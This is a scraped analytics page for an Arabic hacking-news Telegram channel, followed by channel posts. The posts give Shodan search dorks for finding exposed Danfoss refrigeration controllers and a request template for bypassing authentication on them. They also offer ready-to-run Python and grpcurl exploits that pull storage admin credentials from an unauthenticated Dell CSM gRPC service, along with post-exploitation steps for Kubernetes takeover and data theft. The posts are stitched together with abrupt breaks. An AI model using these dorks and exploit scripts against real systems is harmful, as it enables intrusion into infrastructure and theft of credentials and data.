Hacker News
المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين صفحتنا الأولى https://www.facebook.com/HackerNews2
نمایش بیشتر📈 تحلیل کانال تلگرام Hacker News
کانال Hacker News (@hackernewsar) در بخش زبانی عربی بازیگری فعال است. در حال حاضر جامعه شامل 13 599 مشترک است و جایگاه 9 366 را در دسته فناوری و برنامهها و رتبه 5 615 را در منطقه المملكة العربية السعودية دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 13 599 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 26 اکتبر, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 317 و در ۲۴ ساعت گذشته برابر -1 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 11.36% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 5.30% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 1 545 بازدید دریافت میکند. در اولین روز معمولاً 721 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 14 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند نِظَام, شَرِكَة, اِختِرَاق, مَجمُوعَة, بَيَان تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين
صفحتنا الأولى https://www.facebook.com/HackerNews2”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 27 اکتبر, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
title:"StoreView Web" أو title:"StoreView Browser"• البحث عن رابط الشركة المصنعة المدمج في شهادة التشفير:
ssl:"Danfoss"• البحث المشترك لتقليص النتائج لطرازات Danfoss المتصلة بالإنترنت:
"Danfoss" port:443 أو "Adap-Kool"
استغلال ثغرة "كود اليوم" ومعلومات النظام دون تسجيل دخول:
في الطراز الحديث AK-SM 800A تبيّن وجود خلل في آلية المصادقة يُعرف بمسار "كود اليوم" (Code-of-the-day).
• يسمح هذا العيب للمهاجم بطلب تقرير ويب من الجهاز دون الحاجة لامتلاك اسم مستخدم أو كلمة مرور.
• بمجرد إرسال أمر برمجي بسيط للجهاز المكشوف، يقوم الجهاز تلقائياً بتسريب معلومات حساسة تؤكد هويته، مثل: العناوين الداخلية للشبكة (Internal IPs)، أسماء المستخدمين، وإصدار نظام التشغيل (Danux OS)، بل وحتى اسم المتجر أو السوبرماركت (Store Name) المزروع فيه الجهاز.
يستهدف المهاجم واجهة تطبيق الويب (CGI) الخاصة بـ Danfoss، وتحديداً نقطة النهاية (Endpoint) المسؤولة عن التحقق من الصلاحيات وطلب التقارير.
في الثغرة والتي تُعرف بثغرة تخطي المصادقة عبر "كود اليوم" ( Datetime-derived password) المخفي، يقوم المخترق أو الباحث بإرسال طلب ويب بسيط (HTTP Request) بصيغة مُعينة إلى واجهة كود الـ CGI التابع للجهاز المسمى xml.cgi .
الأمر أو الطلب البرمجي يعتمد على إرسال قيم محددة للمتغيرات (Request Parameters) دون الحاجة لإدخال اسم مستخدم أو كلمة مرور، ويكون شكل الطلب التقني كالتالي:
GET /xml.cgi?action=getauth&[attributes] HTTP/1.1 Host: [Target_IP_Address]كيف ينجح هذا الأمر في تسريب المعلومات؟ 1. استدعاء أداة التحقق الفاشلة (action=getauth): عند إرسال هذا الطلب وتضمين سمات معينة (Specific request attributes)، يتوجه الأمر مباشرة إلى معالج الـ CGI الداخلي للجهاز. 2. استغلال كلمة المرور المشتقة من الوقت: يمتلك الجهاز آلية برمجية مخفية لتوليد كلمة مرور افتراضية تشتق قيمتها تلقائياً بناءً على "التاريخ والوقت الحالي" للجهاز (تُعرف بكود اليوم أو الـ Datetime-derived password). 3. تجاوز المصادقة وتوليد التقرير: بدلاً من صد المهاجم، يتعامل النظام مع هذا الطلب البرمجي على أنه طلب إدارة شرعي، فيقوم تلقائياً بإنشاء تقرير ويب وإرساله كاستجابة فورية (Response) للمخترق. المعلومات المسربة نتيجة هذا الأمر: بمجرد تلقي الجهاز المكشوف لهذا الأمر، يعود للمهاجم بملف نصي أو واجهة ويب تحتوي على بيانات النظام الحساسة المكتوبة داخل التقرير التلقائي، وتشمل: • اسم المتجر أو الموقع (Store Name): (مثل اسم القاعدة العسكرية أو فرع السوبرماركت المحدد). • عناوين الشبكة الداخلية (Internal IP Addresses): مما يتيح للمهاجم فهم البنية التحتية الداخلية للموقع. • أسماء المستخدمين (Usernames): المسجلين لإدارة النظام. • ملفات النظام الحيوية: يمكن عبر أوامر مدمجة بالـ XML قراءة ملفات خادم الويب الأساسية. بمجرد حصول المهاجم على صلاحية المدير (Administrator Privileges) عبر الثغرة الماضية، ينتقل إلى مرحلة التخريب الفعلي والتحكم الكامل في البيئة البرمجية والفيزيائية للجهاز. في حالة طراز Danfoss AK-SM 800A والحوادث المشابهة، يتم استغلال هذه الصلاحيات عبر تكتيكين تقنيين رئيسيين:
import grpc
# 1. الاتصال بالقناة المفتوحة دون أي شهادات أو توثيق (Insecure Channel)
channel = grpc.insecure_channel('TARGET_IP:50051')
# 2. إنشاء كائن للخدمة المستهدفة
stub = storage_auth_pb2_grpc.StorageAuthorizationServiceStub(channel)
# 3. إرسال الطلب المباشر دون إرفاق metadata تحتوي على لقطات التوثيق (No Authentication Tokens)
try:
response = stub.GetStorageCredentials(storage_auth_pb2.CredentialRequest(storage_array_id="all"))
# الخادم المصاب يستجيب فوراً ويعيد البيانات الحساسة!
print("تم الاستغلال بنجاح! بيانات الاعتماد المستردة:", response.admin_password)
except grpc.RpcError as e:
print(f"فشل الاتصال: {e}")
كما توجد طرق أخرى صالحة وأكثر واقعية يتعامل بها المهاجمون مع خدمات gRPC المكشوفة التي تفتقر للمصادقة.
إليك أفضل مثالين بديلين، أحدهما يعتمد على استخدام أداة جاهزة دون كتابة كود، والآخر يمثل سكربت بايثون كامل ديناميكي (Dynamic) لا يتطلب وجود ملفات مسبقة:
1. البديل الأفضل والأسرع: أداة grpcurl (بدون كتابة كود)
المهاجمون يفضلون دائماً الطرق التي لا تتطلب تجميع ملفات أو تضييع الوقت. إذا كانت ميزة الانعكاس (Reflection) مفعّلة في الخادم المصاب، يمكن تنفيذ نفس وظيفة سكربت بايثون تماماً عبر سطر أمر واحد في نظام الـ Linux ، دون الحاجة إلى ملفات .proto ولا يحتاج توليد مكتبات pb2 ، ولا يترك ملفات برمجية خلفه على نظام التشغيل، ويستغل الثغرة في ثانية واحدة:
grpcurl -plaintext -d '{"storage_array_id": "all"}' TARGET_IP:50051 dell.csm.auth.StorageAuthorizationService/GetStorageCredentials
2. المثال البرمجي المطور: سكربت بايثون ديناميكي،
في لغة بايثون، توجد مكتبة متطورة جداً تسمى grpc-requests. هذه المكتبة تتيح للمهاجم تجاوز العيب الأكبر في السكربت السابق (وهو الحاجة لملفات _pb2 المجمعة مسبقاً)؛ حيث تقوم بقراءة هيكلية الخادم تلقائياً في الذاكرة وإرسال الطلب فوراً.
وهذا السكربت كامل وجاهز للعمل بمجرد تغيير الـ IP (بشرط تفعيل ميزة Reflection على الخادم المستهدف):
# يجب أولاً تثبيت المكتبة عبر الأمر: pip install grpc-requests
from grpc_requests import Client
# 1. الاتصال المباشر بالخادم عبر الـ IP والمنفذ
# يقوم العميل تلقائياً بسحب هيكلية الدوال (Reflection) دون الحاجة لملفات pb2
client = Client.get_by_endpoint("TARGET_IP:50051")
# 2. تحديد اسم الخدمة والدالة المستهدفة
service_name = "dell.csm.auth.StorageAuthorizationService"
method_name = "GetStorageCredentials"
# 3. صياغة المدخلات (Payload)
payload = {"storage_array_id": "all"}
try:
# 4. إرسال الطلب مباشرة بدون أي توثيق (No Authentication Meta)
response = client.request(service_name, method_name, payload)
# الخادم المصاب سيعيد البيانات مباشرة كقاموس (Dictionary) في بايثون
print("[-] تم الاستغلال بنجاح! البيانات المستردة:")
print(response)
except Exception as e:
print(f"[!] فشل الاتصال أو الخادم غير مصاب: {e}")
بمجرد نجاح المهاجم في تشغيل سكربت بايثون والحصول على رد الخادم الذي يحتوي على بيانات الاعتماد (مثل اسم المستخدم وكلمة المرور الإدارية لمصفوفات التخزين Storage Arrays)، فإنه ينتقل فوراً من مرحلة الاستغلال (Exploitation) إلى مرحلة ما بعد الاستغلال (Post-Exploitation) والتثبيت داخل البيئة.
الخطوات التالية التي سيتخذها المهاجم تتركز حول ثلاثة أهداف رئيسية:
1. الدخول المباشر إلى واجهات إدارة التخزين (Accessing Storage Consoles)
يأخذ المهاجم بيانات الاعتماد المستردة (المستهدِفة لأنظمة مثل Dell PowerStore, PowerScale, PowerMax) ويتصل بها مباشرة عبر:
• واجهات الويب الإدارية (Admin Web UIs): تسجيل الدخول كمسؤول كامل الصلاحيات لإدارة سعة التخزين.
• واجهات برمجة التطبيقات (REST APIs): للتحكم بالنظام برمجياً وإرسال أوامر سريعة وضخمة.
• بروتوكول SSH: للوصول إلى نظام التشغيل الخلفي لأجهزة التخزين (Storage Appliances).
2. التوسع العرضي والسيطرة على بيئة Kubernetes (Lateral Movement)
بما أن حزم Dell CSM مصممة أساساً لربط التخزين بحاويات Kubernetes لتوفير مساحات تخزين دائمة (Persistent Volumes) للتطبيقات ، فإن المهاجم يستغل هذه السيطرة لـ:
• إدراج حاويات خبيثة: إنشاء حاويات جديدة داخل العنقود (Cluster) تمتلك صلاحيات الوصول إلى هذه الملفات الحساسة.
• سرقة البيانات الحساسة: الوصول إلى قواعد البيانات المخزنة، ملفات الشيفرة المصدرية، أو أسرار النظام (Secrets) المكتوبة داخل وحدات التخزين.
3. تحقيق الهدف النهائي"content-type: application/grpc"
(تبحث هذه الصيغة عن أي خادم يرد في الترويسة بأنه يتوقع أو يرسل بيانات بصيغة gRPC).
• البحث عن الأنظمة التي تدعم ترويسات gRPC عبر منافذ غير مشفرة أو مشفرة:
"grpc-status:"
(عندما تتصل الأنظمة بخادم gRPC دون إرسال بيانات صحيحة، يرجع الخادم ترويسة تحتوي على grpc-status لتحديد نوع الخطأ، وهذه بصمة ممتازة للمحرك).
• دمج البحث مع المنفذ (إذا كان معروفاً بتقديمه لخدمات معينة):
"content-type: application/grpc" port:50051
(المنفذ 50051 هو المنفذ الافتراضي الشائع جداً لبيئات تطوير واختبار gRPC).
• البحث الخاص بـ Dell CSM (في حال وجود بصمة نصية مثل Karavi أو التوثيق الخاص بها):
"karavi" OR "csm-authorization"
يستخدم المهاجمون أدوات مخصصة للتعامل مع بروتوكول gRPC. أشهر هذه الأدوات هي grpcurl (وهي أداة تشبه curl ولكنها مخصصة لـ gRPC وتدعم HTTP/2)، أو عبر برمجية Python باستخدام مكتبة grpcio.
إليك كيف تبدو عملية فحص واستغلال منفذ gRPC مصاب (مثل الخلل الموجود في غياب المصادقة):
1. مرحلة استكشاف الدوال (Service Discovery)
قبل إرسال الطلب، يحتاج المهاجم لمعرفة أسماء الدوال (Methods) المتاحة داخل الخادم. إذا كانت ميزة الانعكاس (gRPC Reflection) مفعّلة، يمكنه سرد كافة الخدمات عبر الأمر التالي:
grpcurl -plaintext <Target-IP>:50051 list
ملاحظة: خيار -plaintext يُستخدم لأن المهاجم يتصل بدون شهادات تشفير TLS أو بمستوى حماية ضعيف.
النتيجة المتوقعة قد تظهر دالة حساسة مثل:
dell.csm.auth.StorageAuthorizationService
ثم يقوم بسرد الدوال الفرعية داخلها:
grpcurl -plaintext <Target-IP>:50051 list dell.csm.auth.StorageAuthorizationService2. صياغة وإرسال الطلب المباشر (The gRPC Exploit Request) بما أن الثغرة (CVE-2026-63688) تفتقر تماماً للمصادقة، يرسل المهاجم طلبًا فارغاً أو يحتوي فقط على المعاملات الأساسية (مثل معرف مصفوفة التخزين) دون إرفاق أي Token أو ترويسة أمان. باستخدام grpcurl:
grpcurl -plaintext -d '{"storage_array_id": "all"}' <Target-IP>:50051 dell.csm.auth.StorageAuthorizationService/GetStorageCredentialsوصف الهاكر الحادثة لوسائل الإعلام قائلًا: "الأمر يشبه أن يترك شخص ما حقيبة تحتوي على 10 كيلوغرامات من البلوتونيوم النووي دون حراسة في محطة قطار، ثم يأتي شخص مشرد ويقوم بسرقتها..."
#HackerNews